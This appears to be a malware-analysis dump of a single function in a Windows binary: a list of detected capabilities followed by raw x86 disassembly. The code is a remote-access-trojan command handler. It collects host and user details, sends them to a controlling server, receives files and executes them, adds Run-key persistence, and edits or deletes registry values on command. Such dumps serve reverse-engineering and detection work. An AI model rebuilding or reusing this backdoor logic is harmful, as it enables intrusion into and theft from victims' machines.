Function at 0x407eb0
Capabilities:
Capture webcam image
Check for time delay via gettickcount
Check for unmoving mouse cursor
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Check os version
Copy file
Create directory
Create process on windows
Create thread
Delete file
Delete registry value
Download and write a file
Enumerate devices by category
Enumerate gui resources
Enumerate processes
Get disk information
Get file attributes
Get file size
Get hostname
Get session user name
Log keystrokes
Move file
Persist via run registry key
Query or enumerate registry value
Read and send data from client to server
Read file on windows
Receive and write data from server to client
Receive data
Receive data on socket
Resolve dns
Resolve function by parsing pe exports
Self delete
Send data
Send data on socket
Set file attributes
Set registry value
Shutdown system
Terminate process
Terminate process by name
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x5f04
call fcn.0040eb90
mov eax, dword [0x41201c]
xor eax, esp
mov dword [esp + 0x5f00], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor eax, eax
push edi
push 0x10
push esi
mov dword [esp + 0x44], esi
mov byte [esp + 0x1ac], 0
mov dword [esp + 0x1ad], eax
mov dword [esp + 0x1b1], eax
mov dword [esp + 0x1b5], eax
mov dword [esp + 0x1b9], eax
mov word [esp + 0x1bd], ax
mov byte [esp + 0x1bf], al
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x407f4d
mov eax, esi
mov edx, esi
mov edi, edi
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x407f20
lea edi, [esp + 0x1a4]
sub eax, edx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x407f35
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x103
lea eax, [esp + 0x4b5]
push 0
push eax
mov byte [esp + 0x4bc], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x4b4]
push edx
mov dword [esp + 0x20], 0x104
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x63
lea eax, [esp + 0x20d]
push 0
push eax
mov byte [esp + 0x214], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x20c]
push edx
mov dword [esp + 0x20], 0x64
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
xor eax, eax
mov byte [esp + 0x1b8], 0
mov dword [esp + 0x1b9], eax
mov dword [esp + 0x1bd], eax
mov dword [esp + 0x1c1], eax
mov dword [esp + 0x1c5], eax
mov word [esp + 0x1c9], ax
mov byte [esp + 0x1cb], al
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
push eax
lea eax, [esp + 0x1bc]
push 0x40f93c
push eax
call edi
mov edx, dword [0x40f944]
mov eax, dword [0x40f948]
mov ecx, dword [str.PicDownloadExpert]
add esp, 0xc
push 0x52
mov dword [esp + 0xcac], eax
mov dword [esp + 0xca4], ecx
mov ecx, dword [0x40f94c]
mov dword [esp + 0xca8], edx
mov dx, word [0x40f950]
lea eax, [esp + 0xcb6]
push 0
push eax
mov dword [esp + 0xcb8], ecx
mov word [esp + 0xcbc], dx
call sub.MSVCR80.dll_memset
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x45e7b273
mul ecx
mov ebx, edx
push 0x12b
lea edx, [esp + 0xd85]
push 0
push edx
shr ebx, 0xe
mov byte [esp + 0xd8c], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x12c
lea eax, [esp + 0xd84]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x63
push 0
lea ecx, [esp + 0x9e9]
mov byte [esp + 0x9e8], 0
push ecx
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x64
lea edx, [esp + 0xd84]
push 0x5c
push edx
call dword [sym.imp.MSVCR80.dll_strrchr]
add eax, 1
add esp, 8
push eax
lea eax, [esp + 0x9e8]
push eax
call dword [sym.imp.MSVCR80.dll_strncpy]
add esp, 0xc
push 0x77
lea ecx, [esp + 0xf35]
push 0
push ecx
mov byte [esp + 0xf3c], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
lea edx, [esp + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [esp + 0x3a]
movzx ecx, word [esp + 0x38]
movzx edx, word [esp + 0x36]
push eax
movzx eax, word [esp + 0x38]
push ecx
movzx ecx, word [esp + 0x3a]
push edx
movzx edx, word [esp + 0x3a]
push eax
movzx eax, word [esp + 0x3c]
push ecx
movzx ecx, word [esp + 0x44]
push edx
push eax
push ecx
lea edx, [esp + 0xf50]
push str._uW_.4u._.2u._.2u__.2u:_.2u__.2us_.3ums
push edx
call edi
push 0x7f
lea eax, [esp + 0xedd]
push 0
push eax
mov byte [esp + 0xee4], 0
call sub.MSVCR80.dll_memset
add esp, 0x34
push 0x80
lea ecx, [esp + 0xeb4]
push ecx
call sub.WS2_32.dll_gethostname
lea edx, [esp + 0xeb0]
push edx
call sub.WS2_32.dll_gethostbyname
mov esi, eax
push 0x77
lea eax, [esp + 0xd0d]
push 0
push eax
mov dword [esp + 0x50], esi
mov byte [esp + 0xd14], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
test esi, esi
je 0x40826b
xor edi, edi
mov dword [esp + 0x1c], edi
mov ecx, dword [esi + 0xc]
mov edx, dword [edi + ecx]
push 4
push edx
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x408255
mov eax, dword [esi + 0xc]
mov ecx, dword [edi + eax]
mov edx, dword [ecx]
push edx
call sub.WS2_32.dll_inet_ntoa
test eax, eax
je 0x408255
mov edx, eax
mov edi, edi
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x4081f0
lea edi, [esp + 0xd08]
sub eax, edx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x408205
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0xd08]
rep movsb byte es:[edi], byte [esi]
add eax, 0xffffffff
lea esp, [esp]
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x408230
mov cx, word [0x40f97c]
mov dl, byte [0x40f97e]
mov esi, dword [esp + 0x44]
mov edi, dword [esp + 0x1c]
mov word [eax], cx
mov byte [eax + 2], dl
add edi, 4
cmp edi, 0x14
mov dword [esp + 0x1c], edi
jl 0x4081c7
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
push 0x3fe
lea eax, [esp + 0x196d]
push 0
push eax
mov byte [esp + 0x1974], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
lea ecx, [esp + 0xd80]
push ecx
lea edx, [esp + 0xf34]
push edx
lea eax, [esp + 0x9e8]
push eax
push ebx
lea ecx, [esp + 0xcb0]
push ecx
lea edx, [esp + 0x1cc]
push edx
lea eax, [esp + 0x220]
push eax
mov eax, dword [esp + 0x58]
lea ecx, [esp + 0xd24]
push ecx
lea edx, [esp + 0xed0]
push edx
push eax
lea ecx, [esp + 0x4d8]
push ecx
lea edx, [esp + 0x1994]
push str._s_s_s_s_s_s_s_.4u_s_s_s
push edx
call edi
lea eax, [esp + 0x199c]
add esp, 0x34
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x4082f4
mov ecx, dword [ebp + 8]
push 0
sub eax, edx
push eax
lea eax, [esp + 0x1970]
push eax
push ecx
call sub.WS2_32.dll_send
jmp 0x408320
push 0x400
xor edi, edi
lea edx, [esp + 0x5e4]
push edi
push edx
call sub.MSVCR80.dll_memset
mov ecx, dword [ebp + 8]
add esp, 0xc
push edi
push 0x400
lea eax, [esp + 0x5e8]
push eax
push ecx
call sub.WS2_32.dll_recv
mov ebx, 1
cmp eax, ebx
jle 0x40d242
mov esi, dword [sym.imp.MSVCR80.dll_strstr]
lea edx, [esp + 0x5e0]
push 0x40f9a4
push edx
call esi
add esp, 8
test eax, eax
je 0x4083c5
push 0x118
lea eax, [esp + 0x2874]
push edi
push eax
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x118
lea ecx, [esp + 0x5ec]
push ecx
lea edx, [esp + 0x2878]
push edx
call dword [sym.imp.MSVCR80.dll_strncpy]
mov eax, dword [ebp + 8]
add esp, 0xc
push eax
lea ecx, [esp + 0x2874]
push ecx
call fcn.00404df0
add esp, 8
jmp 0x408320
lea edx, [esp + 0x5e0]
push 0x40f9b0
push edx
call esi
add esp, 8
test eax, eax
je 0x40866e
push 0x118
lea eax, [esp + 0x1854]
push 0
push eax
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x118
lea ecx, [esp + 0x5ed]
push ecx
lea edx, [esp + 0x1858]
push edx
call dword [sym.imp.MSVCR80.dll_strncpy]
add esp, 0xc
push 0
push 7
push 2
push 0
push 3
push 0xc0000000
lea eax, [esp + 0x1868]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x10], eax
xor ebx, ebx
jmp 0x408440
push 0x400
lea ecx, [esp + 0x1214]
push 0
push ecx
call sub.MSVCR80.dll_memset
mov eax, dword [ebp + 8]
add esp, 0xc
push 0
push 0x400
lea edx, [esp + 0x1218]
push edx
push eax
call sub.WS2_32.dll_recv
mov edi, eax
test edi, edi
jle 0x4084aa
lea ecx, [esp + 0x1210]
push 0x40f6b4
push ecx
call esi
add esp, 8
test eax, eax
jne 0x4084bf
mov ecx, dword [esp + 0x10]
push eax
lea edx, [esp + 0xcc]
push edx
push edi
lea eax, [esp + 0x121c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x408440
push 0x3e8
add ebx, 1
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp ebx, 0xf
jle 0x408440
jmp 0x4084f4
lea edx, [esp + 0x1210]
cmp eax, edx
jbe 0x4084f4
xor ecx, ecx
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
mov dword [eax + 0xc], ecx
push ecx
mov dword [eax + 0x10], ecx
lea ecx, [esp + 0xcc]
push ecx
mov ecx, dword [esp + 0x18]
sub eax, edx
push eax
mov eax, edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea eax, [esp + 0x185c]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp byte [esp + 0x5e8], 0x2b
jne 0x408320
lea ecx, [esp + 0x74]
push ecx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x103
lea edx, [esp + 0x4b5]
push 0
push edx
mov byte [esp + 0x4bc], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
lea eax, [esp + 0x1850]
push 0x5c
push eax
call dword [sym.imp.MSVCR80.dll_strrchr]
add esp, 8
test eax, eax
je 0x4085aa
add eax, 1
mov edx, eax
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x408578
lea edi, [esp + 0x4b0]
sub eax, edx
add edi, 0xffffffff
lea ecx, [ecx]
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x408590
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.MSVCR80.dll_strstr]
lea ecx, [esp + 0x4b0]
push str..exe
push ecx
call edi
add esp, 8
test eax, eax
je 0x4085e0
lea edx, [esp + 0x4b0]
push str..exe
push edx
xor esi, esi
call edi
mov dword [eax], esi
add esp, 8
mov word [eax + 4], si
lea eax, [esp + 0x4b0]
add eax, 0xffffffff
lea ebx, [ebx]
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x4085f0
mov ecx, dword [str._soft_regedit]
mov edx, dword [0x40f9c0]
mov dword [eax], ecx
mov ecx, dword [0x40f9c4]
mov dword [eax + 4], edx
mov dx, word [0x40f9c8]
mov dword [eax + 8], ecx
mov word [eax + 0xc], dx
lea eax, [esp + 0x1850]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x408630
sub eax, edx
mov edx, dword [esp + 0x74]
add eax, 1
push eax
lea eax, [esp + 0x1854]
push eax
push 1
push 0
lea ecx, [esp + 0x4c0]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0x74]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x408320
lea ecx, [esp + 0x5e0]
push str.ulfile
push ecx
call esi
add esp, 8
test eax, eax
je 0x4087b9
push 0x118
lea edx, [esp + 0x2aa4]
push 0
push edx
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x118
lea eax, [esp + 0x5ea]
push eax
lea ecx, [esp + 0x2aa8]
push ecx
call dword [sym.imp.MSVCR80.dll_strncpy]
add esp, 0xc
push 0
push 6
push 2
push 0
push 3
push 0xc0000000
lea edx, [esp + 0x2ab8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x10], eax
xor ebx, ebx
push 0x400
lea eax, [esp + 0x1214]
push 0
push eax
call sub.MSVCR80.dll_memset
mov edx, dword [ebp + 8]
add esp, 0xc
push 0
push 0x400
lea ecx, [esp + 0x1218]
push ecx
push edx
call sub.WS2_32.dll_recv
mov edi, eax
test edi, edi
jle 0x40874a
lea eax, [esp + 0x1210]
push 0x40f6b4
push eax
call esi
add esp, 8
test eax, eax
jne 0x40876d
push eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0xdc]
push ecx
push edi
lea edx, [esp + 0x121c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x4086e0
push 0x3e8
add ebx, 1
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp ebx, 0xf
jle 0x4086e0
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x408320
lea ecx, [esp + 0x1210]
cmp eax, ecx
jbe 0x4087a9
xor ecx, ecx
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
mov dword [eax + 0xc], ecx
push ecx
mov dword [eax + 0x10], ecx
lea ecx, [esp + 0x1214]
lea edx, [esp + 0xdc]
push edx
sub eax, ecx
push eax
mov eax, dword [esp + 0x1c]
mov edx, ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x408320
lea edx, [esp + 0x5e0]
push str.regfile
push edx
call esi
add esp, 8
test eax, eax
je 0x4088b1
push 0x118
lea eax, [esp + 0x1fb4]
push edi
push eax
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x118
lea ecx, [esp + 0x5eb]
push ecx
lea edx, [esp + 0x1fb8]
push edx
call dword [sym.imp.MSVCR80.dll_strncpy]
add esp, 0xc
lea eax, [esp + 0x6c]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
xor eax, eax
push 0xa
lea ecx, [esp + 0x1bc]
push ecx
mov byte [esp + 0x1c0], 0
mov dword [esp + 0x1c1], eax
mov dword [esp + 0x1c5], eax
mov dword [esp + 0x1c9], eax
mov dword [esp + 0x1cd], eax
mov word [esp + 0x1d1], ax
mov byte [esp + 0x1d3], al
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCR80.dll__itoa]
lea eax, [esp + 0x1fbc]
add esp, 0xc
lea ecx, [eax + 1]
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x408875
sub eax, ecx
mov ecx, dword [esp + 0x6c]
add eax, 1
push eax
lea edx, [esp + 0x1fb4]
push edx
push ebx
push edi
lea eax, [esp + 0x1c8]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x6c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x408320
lea eax, [esp + 0x5e0]
push str.crfile
push eax
call esi
add esp, 8
test eax, eax
je 0x408922
push 0x118
lea ecx, [esp + 0x22fc]
push edi
push ecx
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x118
lea edx, [esp + 0x5ea]
push edx
lea eax, [esp + 0x2300]
push eax
call dword [sym.imp.MSVCR80.dll_strncpy]
add esp, 0xc
push edi
push 6
push 2
push edi
push 3
push 0xc0000000
lea ecx, [esp + 0x2310]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x408320
lea edx, [esp + 0x5e0]
push str.crdire
push edx
call esi
add esp, 8
test eax, eax
je 0x408980
push 0x118
lea eax, [esp + 0x252c]
push edi
push eax
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x118
lea ecx, [esp + 0x5ea]
push ecx
lea edx, [esp + 0x2530]
push edx
call dword [sym.imp.MSVCR80.dll_strncpy]
add esp, 0xc
push edi
lea eax, [esp + 0x252c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
jmp 0x408320
lea ecx, [esp + 0x5e0]
push 0x40f9ec
push ecx
call esi
add esp, 8
test eax, eax
je 0x408dac
mov ebx, dword [sym.imp.MSVCR80.dll_strncpy]
push 3
lea edx, [esp + 0x5ec]
push edx
lea eax, [esp + 0x2a4]
push eax
call ebx
lea ecx, [esp + 0x2a8]
add esp, 0xc
push ecx
call dword [sym.imp.MSVCR80.dll_atoi]
add esp, 4
push 0x118
lea edx, [esp + 0x4b4]
mov edi, eax
push 0
push edx
sub edi, 0x80000000
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x118
lea eax, [esp + 0x5ef]
push eax
lea ecx, [esp + 0x4b8]
push ecx
call ebx
add esp, 0xc
lea edx, [esp + 0x4b0]
push 0x40f56c
push edx
call esi
add esp, 8
test eax, eax
je 0x408a22
xor ecx, ecx
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov word [eax + 8], cx
lea eax, [esp + 0x50]
push eax
lea ecx, [esp + 0x4b4]
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x2710
xor esi, esi
lea edx, [esp + 0x37fc]
push esi
push edx
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x12c
lea eax, [esp + 0x384]
push esi
push eax
mov byte [esp + 0x3804], 0x3c
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x1f4
lea ecx, [esp + 0xa4c]
push esi
push ecx
call sub.MSVCR80.dll_memset
add esp, 0xc
lea edx, [esp + 0x68]
push edx
lea eax, [esp + 0xa4c]
push eax
lea ecx, [esp + 0x48]
push ecx
mov ecx, dword [esp + 0x5c]
push esi
lea edx, [esp + 0x5c]
push edx
lea eax, [esp + 0x394]
push eax
push esi
push ecx
mov dword [esp + 0x6c], 0x12c
mov dword [esp + 0x88], 0x1f4
mov dword [esp + 0x60], esi
mov dword [esp + 0x30], esi
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x408cfe
cmp dword [esp + 0x10], 0x3e8
jae 0x408cfe
lea eax, [esp + 0x380]
mov edx, eax
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x408ae8
lea edi, [esp + 0x37f8]
sub eax, edx
add edi, 0xffffffff
lea ecx, [ecx]
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x408b00
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x1fc]
rep movsb byte es:[edi], byte [esi]
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x408b24
mov dx, word [0x40f9f8]
mov cl, byte [0x40f9fa]
mov ebx, dword [sym.imp.MSVCR80.dll__itoa]
mov word [eax], dx
push 0xa
lea edx, [esp + 0x202]
mov byte [eax + 2], cl
mov eax, dword [esp + 0x44]
push edx
push eax
call ebx
lea eax, [esp + 0x208]
add esp, 0xc
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x408b65
mov cx, word [0x40f9f8]
mov dl, byte [0x40f9fa]
mov word [eax], cx
mov byte [eax + 2], dl
lea eax, [esp + 0x1fc]
mov edx, eax
jmp 0x408b90
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x408b90
lea edi, [esp + 0x37f8]
sub eax, edx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x408ba5
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x40]
and ecx, 3
cmp eax, 2
rep movsb byte es:[edi], byte [esi]
jbe 0x408c0f
cmp eax, 7
jne 0x408bf8
xor eax, eax
nop
cmp byte [esp + eax + 0xa48], 0
jne 0x408bec
cmp byte [esp + eax + 0xa49], 0
je 0x408c0f
mov byte [esp + eax + 0xa48], 0x7c
add eax, 1
cmp eax, 0x12c
jl 0x408bd0
jmp 0x408c0f
mov ecx, dword [esp + 0xa48]
push 0x10
lea eax, [esp + 0xa4c]
push eax
push ecx
call ebx
add esp, 0xc
lea eax, [esp + 0xa48]
mov edx, eax
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x408c18
lea edi, [esp + 0x37f8]
sub eax, edx
add edi, 0xffffffff
lea ecx, [ecx]
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x408c30
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x37f8]
add edi, 0xffffffff
mov al, byte [edi + 1]
add edi, 1
test al, al
jne 0x408c54
mov edx, dword [0x40f9fc]
push 0x12c
lea eax, [esp + 0x384]
push 0
push eax
mov dword [edi], edx
call sub.MSVCR80.dll_memset
add esp, 0xc
xor eax, eax
push 0x1f4
push eax
lea ecx, [esp + 0xa50]
push ecx
mov dword [esp + 0x208], eax
mov dword [esp + 0x20c], eax
mov word [esp + 0x210], ax
call sub.MSVCR80.dll_memset
mov eax, dword [esp + 0x1c]
add esp, 0xc
lea edx, [esp + 0x68]
push edx
lea ecx, [esp + 0xa4c]
push ecx
lea edx, [esp + 0x48]
push edx
push 0
lea ecx, [esp + 0x5c]
push ecx
add eax, 1
lea edx, [esp + 0x394]
push edx
push eax
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x6c]
push eax
mov dword [esp + 0x6c], 0x12c
mov dword [esp + 0x88], 0x1f4
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
je 0x408ad1
lea eax, [esp + 0x37f8]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x408d08
mov esi, dword [ebp + 8]
push 0
sub eax, edx
push eax
lea ecx, [esp + 0x3800]
push ecx
push esi
call sub.WS2_32.dll_send
mov eax, dword [0x40f6b8]
mov edx, dword [0x40f6b4]
mov cl, byte [0x40f6bc]
mov dword [esp + 0x1bc], eax
xor eax, eax
push 0x32
mov dword [esp + 0x1bc], edx
mov byte [esp + 0x1c4], cl
mov dword [esp + 0x1c5], eax
mov dword [esp + 0x1c9], eax
mov word [esp + 0x1cd], ax
mov byte [esp + 0x1cf], al
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x1b8]
lea ecx, [eax + 1]
mov edi, edi
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x408d80
push 0
sub eax, ecx
push eax
lea edx, [esp + 0x1c0]
push edx
push esi
call sub.WS2_32.dll_send
mov eax, dword [esp + 0x50]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x408320
lea ecx, [esp + 0x5e0]
push 0x40fa00
push ecx
call esi
add esp, 8
test eax, eax
je 0x40916a
lea edx, [esp + 0x5e0]
push 0x40f56c
push edx
call esi
mov edi, eax
add esp, 8
test edi, edi
je 0x408320
mov ebx, dword [sym.imp.MSVCR80.dll_strncpy]
push 3
lea eax, [esp + 0x5ec]
push eax
lea ecx, [esp + 0x1fc]
push ecx
mov byte [esp + 0x200], 0
mov dword [esp + 0x201], 0
call ebx
lea edx, [esp + 0x200]
add esp, 0xc
push edx
call dword [sym.imp.MSVCR80.dll_atoi]
add esp, 4
mov esi, eax
push 0x118
lea eax, [esp + 0x4b4]
push 0
push eax
sub esi, 0x80000000
call sub.MSVCR80.dll_memset
lea edx, [esp + 0x5f7]
add esp, 0xc
mov ecx, edi
sub ecx, edx
push ecx
mov eax, edx
push eax
lea ecx, [esp + 0x4b8]
push ecx
call ebx
add esp, 0xc
lea edx, [esp + 0x28]
push edx
lea eax, [esp + 0x4b4]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x2bb
lea ecx, [esp + 0x1215]
push 0
push ecx
mov byte [esp + 0x121c], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x2bc
add edi, 1
lea edx, [esp + 0x1214]
push edi
push edx
call ebx
add esp, 0xc
cmp byte [esp + 0x1210], 0x2b
jne 0x409118
mov edi, dword [sym.imp.MSVCR80.dll_strstr]
lea eax, [esp + 0x1210]
push 0x40f6a8
push eax
call edi
lea ecx, [esp + 0x1218]
push 0x40fa0c
push ecx
mov esi, eax
call edi
add esp, 0x10
test esi, esi
mov edi, eax
je 0x408320
test edi, edi
je 0x408320
push 0x12b
lea edx, [esp + 0x385]
push 0
push edx
mov byte [esp + 0x38c], 0
call sub.MSVCR80.dll_memset
lea ecx, [esp + 0x121c]
mov eax, esi
sub eax, ecx
add esp, 0xc
sub eax, 1
push eax
lea edx, [esp + 0x1215]
push edx
lea eax, [esp + 0x388]
push eax
call ebx
mov ecx, edi
sub ecx, esi
add esp, 0xc
sub ecx, 1
push ecx
xor eax, eax
add esi, 1
lea edx, [esp + 0x274]
push esi
push edx
mov byte [esp + 0x27c], 0
mov dword [esp + 0x27d], eax
mov dword [esp + 0x281], eax
mov byte [esp + 0x285], al
call ebx
lea eax, [esp + 0x27c]
add esp, 0xc
push eax
call dword [sym.imp.MSVCR80.dll_atoi]
mov esi, eax
add esp, 4
cmp esi, 1
je 0x408f91
cmp esi, 2
je 0x408f91
cmp esi, 7
jne 0x40902b
push 0x257
lea ecx, [esp + 0xa4d]
push 0
push ecx
mov byte [esp + 0xa54], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x258
lea edx, [edi + 1]
push edx
lea eax, [esp + 0xa50]
push eax
call ebx
lea eax, [esp + 0xa54]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x408fd0
sub eax, edx
cmp esi, 7
lea ecx, [eax + 1]
jne 0x40900c
add ecx, 1
xor eax, eax
jmp 0x408ff0
cmp byte [esp + eax + 0xa48], 0x7c
jne 0x409002
mov byte [esp + eax + 0xa48], 0
add eax, 1
cmp eax, 0x258
jl 0x408ff0
mov eax, dword [esp + 0x28]
push ecx
lea ecx, [esp + 0xa4c]
push ecx
push esi
push 0
lea edx, [esp + 0x390]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp esi, 4
je 0x409035
cmp esi, 5
jne 0x40909c
push 0x27
lea ecx, [esp + 0x20d]
push 0
push ecx
mov byte [esp + 0x214], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x28
lea edx, [edi + 1]
push edx
lea eax, [esp + 0x210]
push eax
call ebx
lea ecx, [esp + 0x214]
add esp, 0xc
push ecx
call dword [sym.imp.MSVCR80.dll_atoi]
mov ecx, dword [esp + 0x2c]
add esp, 4
push 4
lea edx, [esp + 0xd8]
push edx
push esi
mov dword [esp + 0xe0], eax
push 0
lea eax, [esp + 0x390]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp esi, 0xb
je 0x4090aa
test esi, esi
je 0x4090aa
cmp esi, 3
jne 0x409118
push 0x27
lea edx, [esp + 0x20d]
push 0
push edx
mov byte [esp + 0x214], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x28
add edi, 1
lea eax, [esp + 0x20c]
push edi
push eax
call ebx
lea ecx, [esp + 0x214]
add esp, 0xc
push ecx
call dword [sym.imp.MSVCR80.dll__atoi64]
mov ecx, dword [esp + 0x2c]
add esp, 4
push 8
mov dword [esp + 0xf8], edx
lea edx, [esp + 0xf4]
push edx
push esi
mov dword [esp + 0xfc], eax
push 0
lea eax, [esp + 0x390]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp byte [esp + 0x1210], 0x2d
jne 0x40915a
lea edx, [esp + 0x1210]
push 0x40f6a8
push edx
call dword [sym.imp.MSVCR80.dll_strstr]
add esp, 8
test eax, eax
je 0x409147
xor ecx, ecx
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov word [eax + 8], cx
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x1211]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edx, dword [esp + 0x28]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x408320
lea eax, [esp + 0x5e0]
push 0x40fa10
push eax
call esi
